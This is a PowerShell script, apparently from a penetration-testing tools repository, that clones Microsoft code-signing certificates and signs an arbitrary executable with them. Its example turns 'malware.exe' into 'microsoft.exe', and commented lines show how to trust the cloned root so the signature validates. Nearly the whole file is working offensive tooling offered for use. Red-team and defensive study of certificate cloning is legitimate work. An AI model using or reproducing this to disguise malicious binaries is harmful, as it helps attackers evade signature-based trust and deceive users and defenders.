mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-25 12:01:37 +01:00
98 lines
3.7 KiB
PowerShell
98 lines
3.7 KiB
PowerShell
Function Sign-Artifact {
|
|
<#
|
|
.SYNOPSIS
|
|
Signs input executable file with a faked Microsoft code signing certificate.
|
|
|
|
.DESCRIPTION
|
|
This script uses built-into Windows interfaces to import a fake Microsoft code-signing certificate
|
|
and use it to sign input executable artifact. Result will be signed, although not verifiable executable.
|
|
|
|
Based on Matt Graeber's implementation:
|
|
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
|
|
|
|
.EXAMPLE
|
|
PS C:\> Sign-Artifact -InputFile malware.exe -OutputFile microsoft.exe
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
param(
|
|
[Parameter(Mandatory=$True)]
|
|
[string]
|
|
$InputFile,
|
|
|
|
[Parameter(Mandatory=$True)]
|
|
[string]
|
|
$OutputFile,
|
|
|
|
[switch]
|
|
$Quiet
|
|
)
|
|
|
|
$Verbose = $PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent
|
|
|
|
if (-not(Test-Path $InputFile))
|
|
{
|
|
Write-Error "[!] Input file does not exist! FilePath: $InputFile"
|
|
exit 1
|
|
}
|
|
|
|
if(Test-Path $OutputFile)
|
|
{
|
|
Remove-Item -Force $OutputFile
|
|
}
|
|
|
|
#
|
|
# Based on:
|
|
#
|
|
#
|
|
|
|
# We'll just store the cloned certificates in current user "Personal" store for now.
|
|
$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' }
|
|
|
|
$MS_Root_Cert = Get-PfxCertificate -FilePath (Join-Path -Path $PSScriptRoot -ChildPath "\MSKernel32Root.cer")
|
|
$Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation
|
|
|
|
$MS_PCA_Cert = Get-PfxCertificate -FilePath (Join-Path -Path $PSScriptRoot -ChildPath "MSKernel32PCA.cer")
|
|
$Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation
|
|
|
|
$MS_Leaf_Cert = Get-PfxCertificate -FilePath (Join-Path -Path $PSScriptRoot -ChildPath "MSKernel32Leaf.cer")
|
|
$Cloned_MS_Leaf_Cert = New-SelfSignedCertificate -CloneCert $MS_Leaf_Cert -Signer $Cloned_MS_PCA_Cert @CertStoreLocation
|
|
|
|
|
|
# Validate that that $OutputFile is not signed.
|
|
if($Verbose)
|
|
{
|
|
Write-Host "`n================================================================================================`n[.] Before signing: `n"
|
|
Get-AuthenticodeSignature -FilePath $InputFile
|
|
}
|
|
|
|
Copy-Item -Force $InputFile $OutputFile | Out-Null
|
|
|
|
|
|
# Sign $OutputFile with the cloned Microsoft leaf certificate.
|
|
Set-AuthenticodeSignature -Certificate $Cloned_MS_Leaf_Cert -FilePath $OutputFile | Out-Null
|
|
|
|
# The certificate will not properly validate because the root certificate is not trusted.
|
|
|
|
# View the StatusMessage property to see the reason why Set-AuthenticodeSignature returned "UnknownError"
|
|
# "A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider"
|
|
|
|
if($Verbose)
|
|
{
|
|
Write-Host "`n================================================================================================`n[+] After signing: `n"
|
|
Get-AuthenticodeSignature -FilePath $OutputFile
|
|
}
|
|
|
|
if(-not $Quiet -or $Verbose)
|
|
{
|
|
Get-AuthenticodeSignature -FilePath $OutputFile | Format-List *
|
|
}
|
|
|
|
# Save the root certificate to disk and import it into the current user root store.
|
|
# Upon doing this, the $OutputFile signature will validate properly.
|
|
# Export-Certificate -Type CERT -FilePath (Join-Path -Path $PSScriptRoot -ChildPath "MSKernel32Root_Cloned.cer") -Cert $Cloned_MS_Root_Cert
|
|
# Import-Certificate -FilePath (Join-Path -Path $PSScriptRoot -ChildPath "MSKernel32Root_Cloned.cer") -CertStoreLocation Cert:\CurrentUser\Root\
|
|
#
|
|
# # You may need to start a new PowerShell process for the valid signature to take effect.
|
|
# Get-AuthenticodeSignature -FilePath $FilePath
|
|
} |